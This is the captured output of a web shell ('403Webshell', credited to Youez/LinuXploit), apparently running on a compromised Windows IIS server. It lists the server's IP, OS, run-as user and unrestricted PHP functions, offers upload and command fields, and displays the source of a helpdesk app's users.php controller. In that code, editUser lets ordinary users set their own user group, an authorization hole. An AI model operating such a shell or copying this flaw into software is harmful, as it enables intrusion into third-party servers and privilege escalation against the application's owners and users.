403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.216.231
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/Helpdesk/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/Helpdesk/application/controllers/users.php
<?php

class Users extends Controller
{

    public function index()
    {
		if ($_SESSION['usergroup']==1) {
			$users_model = $this->loadModel('UsersModel');
			$users = $users_model->getAllUsers();

			$js_files = array(
				APP_BASE."theme/plugins/jquery-datatable/jquery.dataTables.js", 
				APP_BASE."theme/plugins/jquery-datatable/skin/bootstrap/js/dataTables.bootstrap.js", 
				APP_BASE."theme/plugins/sweetalert/sweetalert.min.js",
				APP_BASE."theme/js/users.js",
				);
				
			$css_files = array(
				APP_BASE."theme/plugins/jquery-datatable/skin/bootstrap/css/dataTables.bootstrap.css",
				APP_BASE."theme/plugins/sweetalert/sweetalert.css",
				);
			
			$menu = "users";
			require 'application/views/global/header.php';
			require 'application/views/users/index.php';
			require 'application/views/global/footer.php';
		} else {
			header('location: ' . APP_BASE . 'users/edituser/' . $_SESSION['userid'] . '/');
		}
    }

    public function addUser()
    {
		if ($_SESSION['usergroup']==1) {
			if (!empty($_POST["fullname"]) and !empty($_POST["username"]) and !empty($_POST["password"]) and !empty($_POST["usergroup"])) {
				$users_model = $this->loadModel('UsersModel');
				$encrypted_password = $users_model->encryptPassword($_POST["password"]);
				
				if ($users_model->addUser($_POST["fullname"], $_POST["username"], $encrypted_password, $_POST["usergroup"])) {
					$_SESSION['message']= "<script>$(function (){\$.notify({message:'Ο νέος χρήστης προστέθηκε επιτυχώς.'},{type:'info',delay:15000,newest_on_top: true});});</script>";
				} else {
					$_SESSION['message']= "<script>$(function (){\$.notify({message:'H προσθήκη του νέου χρήστη απέτυχε.'},{type:'danger',delay:15000,newest_on_top: true});});</script>";			
				}
				
				header('location: ' . APP_BASE . 'users/');
			} else {
				$js_files = array(
					APP_BASE."theme/js/users.js",
					);

				$menu = "users";
				require 'application/views/global/header.php';
				require 'application/views/users/adduser.php';
				require 'application/views/global/footer.php';
			}
		} else {
			header('location: ' . APP_BASE . 'users/edituser/' . $_SESSION['userid'] . '/');
		}
    }

    public function editUser($id)
    {
		if (!empty($id) and ($_SESSION['usergroup']==1 or ($_SESSION['usergroup']!=1 and $_SESSION['userid']==$id))) {
			$users_model = $this->loadModel('UsersModel');

			if (!empty($_POST["fullname"]) and !empty($_POST["usergroup"])) {
				
				if (!empty($_POST["password"]))
					$encrypted_password = $users_model->encryptPassword($_POST["password"]);
				
				if ($users_model->updateUser($id, $_POST["fullname"],  $_POST["usergroup"], $encrypted_password)) {
					$_SESSION['message']= "<script>$(function (){\$.notify({message:'Ο χρήστης ενημερώθηκε επιτυχώς.'},{type:'info',delay:15000,newest_on_top: true});});</script>";
				} else {
					$_SESSION['message']= "<script>$(function (){\$.notify({message:'H ενημέρωση του χρήστη απέτυχε.'},{type:'danger',delay:15000,newest_on_top: true});});</script>";			
				}
			} else {
				if ($user = $users_model->getUser($id)) {
					$menu = "users";
					require 'application/views/global/header.php';
					require 'application/views/users/edituser.php';
					require 'application/views/global/footer.php';
					return;
				}
			}		
			
		}				

		if ($_SESSION['usergroup']==1)
			header('location: ' . APP_BASE . 'users/');
		else
			header('location: ' . APP_BASE . 'users/edituser/' . $_SESSION['userid'] . '/');
	}

	public function deleteUser($id)
    {
        if (!empty($id) and $_SESSION['usergroup']==1 and $_SESSION['userid']!=$id) {
            $users_model = $this->loadModel('UsersModel');
            if ($users_model->deleteUser($id)) {
				$_SESSION['message']= "<script>$(function (){\$.notify({message:'Ο χρήστης διαγράφηκε επιτυχώς.'},{type:'info',delay:15000,newest_on_top: true});});</script>";
			} else {
				$_SESSION['message']= "<script>$(function (){\$.notify({message:'H διαγραφή του χρήστη απέτυχε.'},{type:'danger',delay:15000,newest_on_top: true});});</script>";			
			}			
		}

		if ($_SESSION['usergroup']==1)
			header('location: ' . APP_BASE . 'users/');
		else
			header('location: ' . APP_BASE . 'users/edituser/' . $_SESSION['userid'] . '/');
    }	
}

Youez - 2016 - github.com/yon3zu
LinuXploit